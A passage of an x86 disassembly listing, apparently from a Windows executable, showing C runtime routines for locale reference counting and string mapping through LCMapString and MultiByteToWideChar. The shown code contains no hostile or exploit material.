		lea	edi, [ebx+10h]
		stosd
		stosd
		stosd
		jmp	short loc_41305E
; ---------------------------------------------------------------------------


loc_4130AC:				; CODE XREF: sub_412F1F+5Ej
		cmp	dword_424408, esi
		jnz	loc_412F48
		or	eax, 0FFFFFFFFh


loc_4130BB:				; CODE XREF: sub_412F1F+32j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_410BCD
		leave
		retn
sub_412F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130CA	proc near		; CODE XREF: sub_413264+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00413236 SIZE 0000002E BYTES

		push	14h
		push	offset dword_41FA50
		call	__SEH_prolog4
		or	[ebp+var_20], 0FFFFFFFFh
		call	sub_411FFD
		mov	edi, eax
		mov	[ebp+var_24], edi
		call	sub_412E01
		mov	ebx, [edi+68h]
		mov	esi, [ebp+arg_0]
		call	sub_412EA5
		mov	[ebp+arg_0], eax
		cmp	eax, [ebx+4]
		jz	loc_413257
		push	220h
		call	sub_412323
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_41325B
		mov	ecx, 88h
		mov	esi, [edi+68h]
		mov	edi, ebx
		rep movsd
		and	dword ptr [ebx], 0
		push	ebx
		push	[ebp+arg_0]
		call	sub_412F1F
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	loc_413236
		mov	esi, [ebp+var_24]
		push	dword ptr [esi+68h]
		call	dword_41C158	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_41315B
		mov	eax, [esi+68h]
		cmp	eax, offset dword_423288
		jz	short loc_41315B
		push	eax
		call	sub_41112C
		pop	ecx


loc_41315B:				; CODE XREF: sub_4130CA+7Ej
					; sub_4130CA+88j
		mov	[esi+68h], ebx
		push	ebx
		mov	edi, dword_41C150
		call	edi	; InterlockedIncrement
		test	byte ptr [esi+70h], 2
		jnz	loc_41325B
		test	byte ptr dword_4237AC, 1
		jnz	loc_41325B
		push	0Dh
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebx+4]
		mov	dword_424418, eax
		mov	eax, [ebx+8]
		mov	dword_42441C, eax
		mov	eax, [ebx+0Ch]
		mov	dword_424420, eax
		xor	eax, eax


loc_4131A4:				; CODE XREF: sub_4130CA+F0j
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_4131BC
		mov	cx, [ebx+eax*2+10h]
		mov	word_42440C[eax*2], cx
		inc	eax
		jmp	short loc_4131A4
; ---------------------------------------------------------------------------


loc_4131BC:				; CODE XREF: sub_4130CA+E0j
		xor	eax, eax


loc_4131BE:				; CODE XREF: sub_4130CA+109j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_4131D5
		mov	cl, [eax+ebx+1Ch]
		mov	byte_4234A8[eax], cl
		inc	eax
		jmp	short loc_4131BE
; ---------------------------------------------------------------------------


loc_4131D5:				; CODE XREF: sub_4130CA+FCj
		xor	eax, eax


loc_4131D7:				; CODE XREF: sub_4130CA+125j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_4131F1
		mov	cl, [eax+ebx+11Dh]
		mov	byte_4235B0[eax], cl
		inc	eax
		jmp	short loc_4131D7
; ---------------------------------------------------------------------------


loc_4131F1:				; CODE XREF: sub_4130CA+115j
		push	dword_4236B0
		call	dword_41C158	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_413214
		mov	eax, dword_4236B0
		cmp	eax, offset dword_423288
		jz	short loc_413214
		push	eax
		call	sub_41112C
		pop	ecx


loc_413214:				; CODE XREF: sub_4130CA+135j
					; sub_4130CA+141j
		mov	dword_4236B0, ebx
		push	ebx
		call	edi	; InterlockedIncrement
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41322B
		jmp	short loc_41325B
sub_4130CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41322B	proc near		; CODE XREF: sub_4130CA+15Ap
					; DATA XREF: .vty:0041FA68o
		push	0Dh
		call	sub_416CCE
		pop	ecx
		retn
sub_41322B	endp

; ---------------------------------------------------------------------------
		jmp	short loc_41325B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4130CA


loc_413236:				; CODE XREF: sub_4130CA+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41325B
		cmp	ebx, offset dword_423288
		jz	short loc_41324A
		push	ebx
		call	sub_41112C
		pop	ecx


loc_41324A:				; CODE XREF: sub_4130CA+177j
		call	sub_40F79E
		mov	dword ptr [eax], 16h
		jmp	short loc_41325B
; ---------------------------------------------------------------------------


loc_413257:				; CODE XREF: sub_4130CA+30j
		and	[ebp+var_20], 0


loc_41325B:				; CODE XREF: sub_4130CA+45j
					; sub_4130CA+A1j ...
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4130CA

; =============== S U B	R O U T	I N E =======================================



sub_413264	proc near		; CODE XREF: sub_41547E+Cp
					; sub_4154DB+Dp ...
		cmp	dword_42601C, 0
		jnz	short loc_41327F
		push	0FFFFFFFDh
		call	sub_4130CA
		pop	ecx
		mov	dword_42601C, 1


loc_41327F:				; CODE XREF: sub_413264+7j
		xor	eax, eax
		retn
sub_413264	endp


; =============== S U B	R O U T	I N E =======================================



sub_413282	proc near		; CODE XREF: sub_412015+E8p
					; sub_4134D4+31p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esi+0BCh]
		xor	ebp, ebp
		cmp	eax, ebp
		push	edi
		jz	short loc_413305
		cmp	eax, offset off_423ED8
		jz	short loc_413305
		mov	eax, [esi+0B0h]
		cmp	eax, ebp
		jz	short loc_413305
		cmp	[eax], ebp
		jnz	short loc_413305
		mov	eax, [esi+0B8h]
		cmp	eax, ebp
		jz	short loc_4132CC
		cmp	[eax], ebp
		jnz	short loc_4132CC
		push	eax
		call	sub_41112C
		push	dword ptr [esi+0BCh]
		call	sub_418816
		pop	ecx
		pop	ecx


loc_4132CC:				; CODE XREF: sub_413282+31j
					; sub_413282+35j
		mov	eax, [esi+0B4h]
		cmp	eax, ebp
		jz	short loc_4132ED
		cmp	[eax], ebp
		jnz	short loc_4132ED
		push	eax
		call	sub_41112C
		push	dword ptr [esi+0BCh]
		call	sub_4187D6
		pop	ecx
		pop	ecx


loc_4132ED:				; CODE XREF: sub_413282+52j
					; sub_413282+56j
		push	dword ptr [esi+0B0h]
		call	sub_41112C
		push	dword ptr [esi+0BCh]
		call	sub_41112C
		pop	ecx
		pop	ecx


loc_413305:				; CODE XREF: sub_413282+12j
					; sub_413282+19j ...
		mov	eax, [esi+0C0h]
		cmp	eax, ebp
		jz	short loc_413353
		cmp	[eax], ebp
		jnz	short loc_413353
		mov	eax, [esi+0C4h]
		sub	eax, 0FEh
		push	eax
		call	sub_41112C
		mov	eax, [esi+0CCh]
		mov	edi, 80h
		sub	eax, edi
		push	eax
		call	sub_41112C
		mov	eax, [esi+0D0h]
		sub	eax, edi
		push	eax
		call	sub_41112C
		push	dword ptr [esi+0C0h]
		call	sub_41112C
		add	esp, 10h


loc_413353:				; CODE XREF: sub_413282+8Bj
					; sub_413282+8Fj
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	eax, offset off_423E18
		jz	short loc_413379
		cmp	[eax+0B4h], ebp
		jnz	short loc_413379
		push	eax
		call	sub_418646
		push	dword ptr [edi]
		call	sub_41112C
		pop	ecx
		pop	ecx


loc_413379:				; CODE XREF: sub_413282+DEj
					; sub_413282+E6j
		push	6
		lea	edi, [esi+50h]
		pop	ebx


loc_41337F:				; CODE XREF: sub_413282+132j
		cmp	dword ptr [edi-8], offset dword_4237B0
		jz	short loc_413399
		mov	eax, [edi]
		cmp	eax, ebp
		jz	short loc_413399
		cmp	[eax], ebp
		jnz	short loc_413399
		push	eax
		call	sub_41112C
		pop	ecx


loc_413399:				; CODE XREF: sub_413282+104j
					; sub_413282+10Aj ...
		cmp	[edi-4], ebp
		jz	short loc_4133B0
		mov	eax, [edi+4]
		cmp	eax, ebp
		jz	short loc_4133B0
		cmp	[eax], ebp
		jnz	short loc_4133B0
		push	eax
		call	sub_41112C
		pop	ecx


loc_4133B0:				; CODE XREF: sub_413282+11Aj
					; sub_413282+121j ...
		add	edi, 10h
		dec	ebx
		jnz	short loc_41337F
		push	esi
		call	sub_41112C
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_413282	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133C2	proc near		; CODE XREF: sub_411EC6+93p
					; sub_4134D4+12p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, dword_41C150
		push	esi
		call	edi	; InterlockedIncrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_4133E0
		push	eax
		call	edi	; InterlockedIncrement


loc_4133E0:				; CODE XREF: sub_4133C2+19j
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_4133ED
		push	eax
		call	edi	; InterlockedIncrement


loc_4133ED:				; CODE XREF: sub_4133C2+26j
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_4133FA
		push	eax
		call	edi	; InterlockedIncrement


loc_4133FA:				; CODE XREF: sub_4133C2+33j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_413407
		push	eax
		call	edi	; InterlockedIncrement


loc_413407:				; CODE XREF: sub_4133C2+40j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp


loc_41340D:				; CODE XREF: sub_4133C2+71j
		cmp	dword ptr [ebx-8], offset dword_4237B0
		jz	short loc_41341F
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_41341F
		push	eax
		call	edi	; InterlockedIncrement


loc_41341F:				; CODE XREF: sub_4133C2+52j
					; sub_4133C2+58j
		cmp	dword ptr [ebx-4], 0
		jz	short loc_41342F
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_41342F
		push	eax
		call	edi	; InterlockedIncrement


loc_41342F:				; CODE XREF: sub_4133C2+61j
					; sub_4133C2+68j
		add	ebx, 10h
		dec	ebp
		jnz	short loc_41340D
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedIncrement
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4133C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413448	proc near		; CODE XREF: sub_412015+CCp
					; sub_4134D4+1Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4134D0
		push	ebx
		push	ebp
		push	edi
		mov	edi, dword_41C158
		push	esi
		call	edi	; InterlockedDecrement
		mov	eax, [esi+0B0h]
		test	eax, eax
		jz	short loc_41346A
		push	eax
		call	edi	; InterlockedDecrement


loc_41346A:				; CODE XREF: sub_413448+1Dj
		mov	eax, [esi+0B8h]
		test	eax, eax
		jz	short loc_413477
		push	eax
		call	edi	; InterlockedDecrement


loc_413477:				; CODE XREF: sub_413448+2Aj
		mov	eax, [esi+0B4h]
		test	eax, eax
		jz	short loc_413484
		push	eax
		call	edi	; InterlockedDecrement


loc_413484:				; CODE XREF: sub_413448+37j
		mov	eax, [esi+0C0h]
		test	eax, eax
		jz	short loc_413491
		push	eax
		call	edi	; InterlockedDecrement


loc_413491:				; CODE XREF: sub_413448+44j
		push	6
		lea	ebx, [esi+50h]
		pop	ebp


loc_413497:				; CODE XREF: sub_413448+75j
		cmp	dword ptr [ebx-8], offset dword_4237B0
		jz	short loc_4134A9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4134A9
		push	eax
		call	edi	; InterlockedDecrement


loc_4134A9:				; CODE XREF: sub_413448+56j
					; sub_413448+5Cj
		cmp	dword ptr [ebx-4], 0
		jz	short loc_4134B9
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_4134B9
		push	eax
		call	edi	; InterlockedDecrement


loc_4134B9:				; CODE XREF: sub_413448+65j
					; sub_413448+6Cj
		add	ebx, 10h
		dec	ebp
		jnz	short loc_413497
		mov	eax, [esi+0D4h]
		add	eax, 0B4h
		push	eax
		call	edi	; InterlockedDecrement
		pop	edi
		pop	ebp
		pop	ebx


loc_4134D0:				; CODE XREF: sub_413448+7j
		mov	eax, esi
		pop	esi
		retn
sub_413448	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134D4	proc near		; CODE XREF: sub_413512+54p
		test	edi, edi
		jz	short loc_41350F
		test	eax, eax
		jz	short loc_41350F
		push	esi
		mov	esi, [eax]
		cmp	esi, edi
		jz	short loc_41350B
		push	edi
		mov	[eax], edi
		call	sub_4133C2
		test	esi, esi
		pop	ecx
		jz	short loc_41350B
		push	esi
		call	sub_413448
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_41350B
		cmp	esi, offset dword_4237B8
		jz	short loc_41350B
		push	esi
		call	sub_413282
		pop	ecx


loc_41350B:				; CODE XREF: sub_4134D4+Dj
					; sub_4134D4+1Aj ...
		mov	eax, edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41350F:				; CODE XREF: sub_4134D4+2j
					; sub_4134D4+6j
		xor	eax, eax
		retn
sub_4134D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413512	proc near		; CODE XREF: sub_40F7E2+37p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_41FA70
		call	__SEH_prolog4
		call	sub_411FFD
		mov	esi, eax
		mov	eax, dword_4237AC
		test	[esi+70h], eax
		jz	short loc_413551
		cmp	dword ptr [esi+6Ch], 0
		jz	short loc_413551
		call	sub_411FFD
		mov	esi, [eax+6Ch]


loc_41353D:				; CODE XREF: sub_413512+68j
		test	esi, esi
		jnz	short loc_413549
		push	20h
		call	sub_412499
		pop	ecx


loc_413549:				; CODE XREF: sub_413512+2Dj
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_413551:				; CODE XREF: sub_413512+1Bj
					; sub_413512+21j
		push	0Ch
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		lea	eax, [esi+6Ch]
		mov	edi, off_423890
		call	sub_4134D4
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41357C
		jmp	short loc_41353D
sub_413512	endp


; =============== S U B	R O U T	I N E =======================================



sub_41357C	proc near		; CODE XREF: sub_413512+63p
					; DATA XREF: .vty:0041FA88o
		push	0Ch
		call	sub_416CCE
		pop	ecx
		mov	esi, [ebp-1Ch]
		retn
sub_41357C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413588	proc near		; CODE XREF: sub_4135A3+220p
					; sub_4135A3+229p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short locret_4135A2
		sub	eax, 8
		cmp	dword ptr [eax], 0DDDDh
		jnz	short locret_4135A2
		push	eax
		call	sub_41112C
		pop	ecx

locret_4135A2:				; CODE XREF: sub_413588+6j
					; sub_413588+11j
		retn
sub_413588	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4135A3	proc near		; CODE XREF: sub_413945+2Cp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	dword_424448, ebx
		push	edi
		mov	esi, ecx
		jnz	short loc_4135FA
		push	ebx
		push	ebx
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_41C81C
		push	100h
		push	ebx
		call	dword_41C178	; LCMapStringW
		test	eax, eax
		jz	short loc_4135E5
		mov	dword_424448, edi
		jmp	short loc_4135FA
; ---------------------------------------------------------------------------


loc_4135E5:				; CODE XREF: sub_4135A3+38j
		call	dword_41C0A4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4135FA
		mov	dword_424448, 2


loc_4135FA:				; CODE XREF: sub_4135A3+1Dj
					; sub_4135A3+40j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_413621
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_413605:				; CODE XREF: sub_4135A3+6Aj
		dec	ecx
		cmp	[eax], bl
		jz	short loc_413612
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_413605
		or	ecx, 0FFFFFFFFh


loc_413612:				; CODE XREF: sub_4135A3+65j
		mov	eax, [ebp+arg_C]
		sub	eax, ecx
		dec	eax
		cmp	eax, [ebp+arg_C]
		jge	short loc_41361E
		inc	eax


loc_41361E:				; CODE XREF: sub_4135A3+78j
		mov	[ebp+arg_C], eax


loc_413621:				; CODE XREF: sub_4135A3+5Aj
		mov	eax, dword_424448
		cmp	eax, 2
		jz	loc_4137DA
		cmp	eax, ebx
		jz	loc_4137DA
		cmp	eax, 1
		jnz	loc_41380B
		cmp	[ebp+arg_18], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_413650
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax


loc_413650:				; CODE XREF: sub_4135A3+A3j
		mov	esi, dword_41C174
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		setnz	al
		push	[ebp+arg_8]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41380B
		jle	short loc_4136C2
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	edi
		cmp	eax, 2
		jb	short loc_4136C2
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_4136A9
		call	sub_418C60
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_4136BD
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_4136BA
; ---------------------------------------------------------------------------


loc_4136A9:				; CODE XREF: sub_4135A3+F1j
		push	eax
		call	sub_411069
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4136BD
		mov	dword ptr [eax], 0DDDDh


loc_4136BA:				; CODE XREF: sub_4135A3+104j
		add	eax, 8


loc_4136BD:				; CODE XREF: sub_4135A3+FCj
					; sub_4135A3+10Fj
		mov	[ebp+var_C], eax
		jmp	short loc_4136C5
; ---------------------------------------------------------------------------


loc_4136C2:				; CODE XREF: sub_4135A3+DAj
					; sub_4135A3+E6j
		mov	[ebp+var_C], ebx


loc_4136C5:				; CODE XREF: sub_4135A3+11Dj
		cmp	[ebp+var_C], ebx
		jz	loc_41380B
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	loc_4137C9
		mov	esi, dword_41C178
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		mov	ecx, eax
		cmp	ecx, ebx
		mov	[ebp+var_8], ecx
		jz	loc_4137C9
		test	word ptr [ebp+arg_4], 400h
		jz	short loc_413739
		cmp	[ebp+arg_14], ebx
		jz	loc_4137C9
		cmp	ecx, [ebp+arg_14]
		jg	loc_4137C9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringW
		jmp	loc_4137C9
; ---------------------------------------------------------------------------


loc_413739:				; CODE XREF: sub_4135A3+16Bj
		cmp	ecx, ebx
		jle	short loc_413782
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, 2
		jb	short loc_413782
		lea	eax, [ecx+ecx+8]
		cmp	eax, 400h
		ja	short loc_41376A
		call	sub_418C60
		mov	esi, esp
		cmp	esi, ebx
		jz	short loc_4137C9
		mov	dword ptr [esi], 0CCCCh
		add	esi, 8
		jmp	short loc_413784
; ---------------------------------------------------------------------------


loc_41376A:				; CODE XREF: sub_4135A3+1AFj
		push	eax
		call	sub_411069
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41377E
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_41377E:				; CODE XREF: sub_4135A3+1D0j
		mov	esi, eax
		jmp	short loc_413784
; ---------------------------------------------------------------------------


loc_413782:				; CODE XREF: sub_4135A3+198j
					; sub_4135A3+1A4j
		xor	esi, esi


loc_413784:				; CODE XREF: sub_4135A3+1C5j
					; sub_4135A3+1DDj
		cmp	esi, ebx
		jz	short loc_4137C9
		push	[ebp+var_8]
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41C178	; LCMapStringW
		test	eax, eax
		jz	short loc_4137C2
		cmp	[ebp+arg_14], ebx
		push	ebx
		push	ebx
		jnz	short loc_4137AB
		push	ebx
		push	ebx
		jmp	short loc_4137B1
; ---------------------------------------------------------------------------


loc_4137AB:				; CODE XREF: sub_4135A3+202j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4137B1:				; CODE XREF: sub_4135A3+206j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	[ebp+arg_18]
		call	dword_41C170	; WideCharToMultiByte
		mov	[ebp+var_8], eax


loc_4137C2:				; CODE XREF: sub_4135A3+1FBj
		push	esi
		call	sub_413588
		pop	ecx


loc_4137C9:				; CODE XREF: sub_4135A3+13Ej
					; sub_4135A3+15Fj ...
		push	[ebp+var_C]
		call	sub_413588
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	loc_413933
; ---------------------------------------------------------------------------


loc_4137DA:				; CODE XREF: sub_4135A3+86j
					; sub_4135A3+8Ej
		cmp	[ebp+arg_0], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		jnz	short loc_4137ED
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax


loc_4137ED:				; CODE XREF: sub_4135A3+240j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4137FA
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax


loc_4137FA:				; CODE XREF: sub_4135A3+24Dj
		push	[ebp+arg_0]
		call	sub_418A60
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jnz	short loc_413812


loc_41380B:				; CODE XREF: sub_4135A3+97j
					; sub_4135A3+D4j ...
		xor	eax, eax
		jmp	loc_413933
; ---------------------------------------------------------------------------


loc_413812:				; CODE XREF: sub_4135A3+266j
		cmp	eax, [ebp+arg_18]
		jz	loc_4138F6
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_418AA7
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	short loc_41380B
		mov	esi, dword_41C16C
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringA
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_413859


loc_413852:				; CODE XREF: sub_4135A3+2D0j
					; sub_4135A3+2F9j
		xor	esi, esi
		jmp	loc_413910
; ---------------------------------------------------------------------------


loc_413859:				; CODE XREF: sub_4135A3+2ADj
		jle	short loc_413898
		cmp	eax, 0FFFFFFE0h
		ja	short loc_413898
		add	eax, 8
		cmp	eax, 400h
		ja	short loc_413880
		call	sub_418C60
		mov	edi, esp
		cmp	edi, ebx
		jz	short loc_413852
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_41389A
; ---------------------------------------------------------------------------


loc_413880:				; CODE XREF: sub_4135A3+2C5j
		push	eax
		call	sub_411069
		cmp	eax, ebx
		pop	ecx
		jz	short loc_413894
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_413894:				; CODE XREF: sub_4135A3+2E6j
		mov	edi, eax
		jmp	short loc_41389A
; ---------------------------------------------------------------------------


loc_413898:				; CODE XREF: sub_4135A3:loc_413859j
					; sub_4135A3+2BBj
		xor	edi, edi


loc_41389A:				; CODE XREF: sub_4135A3+2DBj
					; sub_4135A3+2F3j
		cmp	edi, ebx
		jz	short loc_413852
		push	[ebp+var_8]
		push	ebx
		push	edi
		call	sub_40DD10
		add	esp, 0Ch
		push	[ebp+var_8]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi	; LCMapStringA
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_4138C8
		xor	esi, esi
		jmp	short loc_4138ED
; ---------------------------------------------------------------------------


loc_4138C8:				; CODE XREF: sub_4135A3+31Fj
		push	[ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	[ebp+arg_10]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_14]
		call	sub_418AA7
		mov	esi, eax
		mov	[ebp+var_10], esi
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+var_8]


loc_4138ED:				; CODE XREF: sub_4135A3+323j
		push	edi
		call	sub_413588
		pop	ecx
		jmp	short loc_413910
; ---------------------------------------------------------------------------


loc_4138F6:				; CODE XREF: sub_4135A3+272j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41C16C	; LCMapStringA
		mov	esi, eax


loc_413910:				; CODE XREF: sub_4135A3+2B1j
					; sub_4135A3+351j
		cmp	[ebp+var_C], ebx
		jz	short loc_41391E
		push	[ebp+var_C]
		call	sub_41112C
		pop	ecx


loc_41391E:				; CODE XREF: sub_4135A3+370j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_413931
		cmp	[ebp+arg_10], eax
		jz	short loc_413931
		push	eax
		call	sub_41112C
		pop	ecx


loc_413931:				; CODE XREF: sub_4135A3+380j
					; sub_4135A3+385j
		mov	eax, esi


loc_413933:				; CODE XREF: sub_4135A3+232j
					; sub_4135A3+26Aj
		lea	esp, [ebp-20h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_410BCD
		leave
		retn
sub_4135A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413945	proc near		; CODE XREF: sub_40F864+E0p
					; sub_412C77+B6p ...

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		push	[ebp+arg_20]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4135A3
		add	esp, 20h
		cmp	[ebp+var_4], 0
		jz	short locret_413986
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_413986:				; CODE XREF: sub_413945+38j
		leave
		retn
sub_413945	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413988	proc near		; CODE XREF: sub_40F864+93p
					; sub_4113BB+34Dp ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		movzx	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, 8000h
		cmp	[ebp+var_4], 0
		jz	short locret_4139BC
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4139BC:				; CODE XREF: sub_413988+2Bj
		leave
		retn
sub_413988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4139BE	proc near		; CODE XREF: sub_41440F+17Dp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_413988
		pop	ecx
		pop	ecx
		retn
sub_4139BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139CC	proc near		; CODE XREF: sub_40F864+32p
